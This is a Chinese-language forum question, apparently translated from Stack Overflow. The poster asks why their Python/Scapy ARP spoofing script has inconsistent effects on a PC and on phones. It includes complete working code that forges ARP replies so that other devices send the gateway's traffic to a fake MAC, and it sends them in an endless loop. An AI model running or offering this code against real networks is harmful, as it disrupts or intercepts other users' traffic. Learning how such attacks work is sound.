【发布时间】:2020-07-31 02:44:10
【问题描述】:
我最近一直在尝试使用 Python 和 Scapy 构建一个“中间人”(出于我自己的实践,没有恶意目的)。 我开始编写代码来创建一个dos,但是由于某种原因它的行为很奇怪。 首先,由于某种原因,当我在我的 Windows PC 上运行它时,arp 条目永远不会改变。我什至已经清除了 arp 表(arp -d *),但网关的真实 MAC 地址仍然返回。 其次,代码似乎只能在我的手机上部分运行——打开网站时,只需要很长时间。还有一些网站似乎没有受到影响(Instagram 工作......)。 此外,针对不同品牌的手机运行代码会产生不同的结果。
会不会是在不同的设备上有安全措施?我做错什么了吗? 这是代码,谢谢你的帮助!
from enum import Enum
import getmac
import netifaces
from scapy.all import ARP, Ether, sendp
class DeviceIps(Enum):
MyPhone = '192.168.1.27'
MyPc = '192.168.1.70'
class Device(object):
def __init__(self, ip: str):
self.ip = ip
def get_mac_from_ip(ip=None):
return getmac.get_mac_address(ip=ip)
def build_poison_packet(victim_ip):
ARP_RESPONSE_CODE = 0x2
FAKE_MAC_ADDRESS = 'aa:bb:cc:dd:ee:ff'
gateway_ip_address = netifaces.gateways()['default'][netifaces.AF_INET][0]
victim_mac_address = get_mac_from_ip(victim_ip)
poison_packet = Ether(src=FAKE_MAC_ADDRESS, dst=victim_mac_address) \
/ ARP(psrc=gateway_ip_address, # -> Address to lie about
hwsrc=FAKE_MAC_ADDRESS, # -> Mac address to direct to
hwdst=victim_mac_address, pdst=victim_ip, op=ARP_RESPONSE_CODE)
return poison_packet
def poison(target: Device):
poison_packet = build_poison_packet(target.ip)
print(poison_packet.show())
while True:
sendp(poison_packet)
def main():
poison(Device(DeviceIps.MyPc.value))
main()
【问题讨论】: